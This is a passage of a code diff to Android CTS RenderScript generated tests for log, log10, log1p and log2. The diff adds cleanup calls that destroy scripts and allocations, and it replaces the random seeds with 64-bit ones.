+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd3cd6a46faf8bb27l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLogFloat3Float3(inV, out);
             verifyResultsLogFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLogFloat3Float3(inV, out);
             verifyResultsLogFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLogFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf113dc05l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd3cf3361f113dc05l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLogFloat4Float4(inV, out);
             verifyResultsLogFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLogFloat4Float4(inV, out);
             verifyResultsLogFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkLogHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x35076dfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1f92526c035076dfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLogHalfHalf(inV, out);
             verifyResultsLogHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLogHalfHalf(inV, out);
             verifyResultsLogHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkLogHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x97619ec9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7d45e0797619ec9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testLogHalf2Half2(inV, out);
             verifyResultsLogHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLogHalf2Half2(inV, out);
             verifyResultsLogHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkLogHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf66963bdl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7d468a8f66963bdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testLogHalf3Half3(inV, out);
             verifyResultsLogHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLogHalf3Half3(inV, out);
             verifyResultsLogHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkLogHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x557128b1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7d4734a557128b1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testLogHalf4Half4(inV, out);
             verifyResultsLogHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLogHalf4Half4(inV, out);
             verifyResultsLogHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.java
index a5589e5..0ff031a 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLog10Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLog10FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3171d836l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xba0ecdfe3171d836l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLog10FloatFloat(inV, out);
             verifyResultsLog10FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog10FloatFloat(inV, out);
             verifyResultsLog10FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLog10Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe3bcdeeal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd4c88639e3bcdeeal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLog10Float2Float2(inV, out);
             verifyResultsLog10Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Float2Float2(inV, out);
             verifyResultsLog10Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLog10Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd9d7ffc8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd4ca4f54d9d7ffc8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLog10Float3Float3(inV, out);
             verifyResultsLog10Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Float3Float3(inV, out);
             verifyResultsLog10Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLog10Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xcff320a6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd4cc186fcff320a6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLog10Float4Float4(inV, out);
             verifyResultsLog10Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Float4Float4(inV, out);
             verifyResultsLog10Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkLog10HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xdd61cbd0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb265af07dd61cbd0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLog10HalfHalf(inV, out);
             verifyResultsLog10HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog10HalfHalf(inV, out);
             verifyResultsLog10HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkLog10Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9e901f72l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x806c3fb19e901f72l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testLog10Half2Half2(inV, out);
             verifyResultsLog10Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Half2Half2(inV, out);
             verifyResultsLog10Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkLog10Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xfd97e466l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x806c4a52fd97e466l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testLog10Half3Half3(inV, out);
             verifyResultsLog10Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Half3Half3(inV, out);
             verifyResultsLog10Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkLog10Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5c9fa95al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x806c54f45c9fa95al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testLog10Half4Half4(inV, out);
             verifyResultsLog10Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog10Half4Half4(inV, out);
             verifyResultsLog10Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog10Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog10Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.java
index 8a17d9e..6d38652 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLog1pRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLog1pFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1744cef6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x272c1ffe1744cef6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLog1pFloatFloat(inV, out);
             verifyResultsLog1pFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pFloatFloat(inV, out);
             verifyResultsLog1pFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLog1pFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd4750faal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xed8dc77cd4750faal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLog1pFloat2Float2(inV, out);
             verifyResultsLog1pFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pFloat2Float2(inV, out);
             verifyResultsLog1pFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLog1pFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xca903088l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xed8f9097ca903088l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLog1pFloat3Float3(inV, out);
             verifyResultsLog1pFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pFloat3Float3(inV, out);
             verifyResultsLog1pFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLog1pFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc0ab5166l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xed9159b2c0ab5166l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLog1pFloat4Float4(inV, out);
             verifyResultsLog1pFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pFloat4Float4(inV, out);
             verifyResultsLog1pFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkLog1pHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x28afb890l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xebc69de828afb890l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLog1pHalfHalf(inV, out);
             verifyResultsLog1pHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pHalfHalf(inV, out);
             verifyResultsLog1pHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkLog1pHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x84631632l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xed8991b184631632l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testLog1pHalf2Half2(inV, out);
             verifyResultsLog1pHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pHalf2Half2(inV, out);
             verifyResultsLog1pHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkLog1pHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe36adb26l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xed899c52e36adb26l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testLog1pHalf3Half3(inV, out);
             verifyResultsLog1pHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pHalf3Half3(inV, out);
             verifyResultsLog1pHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkLog1pHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4272a01al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xed89a6f44272a01al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testLog1pHalf4Half4(inV, out);
             verifyResultsLog1pHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog1pHalf4Half4(inV, out);
             verifyResultsLog1pHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog1pHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog1pHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.java
index 1c3b09c..48b282c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLog2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLog2FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc147dc6bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9950067ec147dc6bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLog2FloatFloat(inV, out);
             verifyResultsLog2FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog2FloatFloat(inV, out);
             verifyResultsLog2FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLog2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc48141b7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x52d99ec8c48141b7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLog2Float2Float2(inV, out);
             verifyResultsLog2Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Float2Float2(inV, out);
             verifyResultsLog2Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
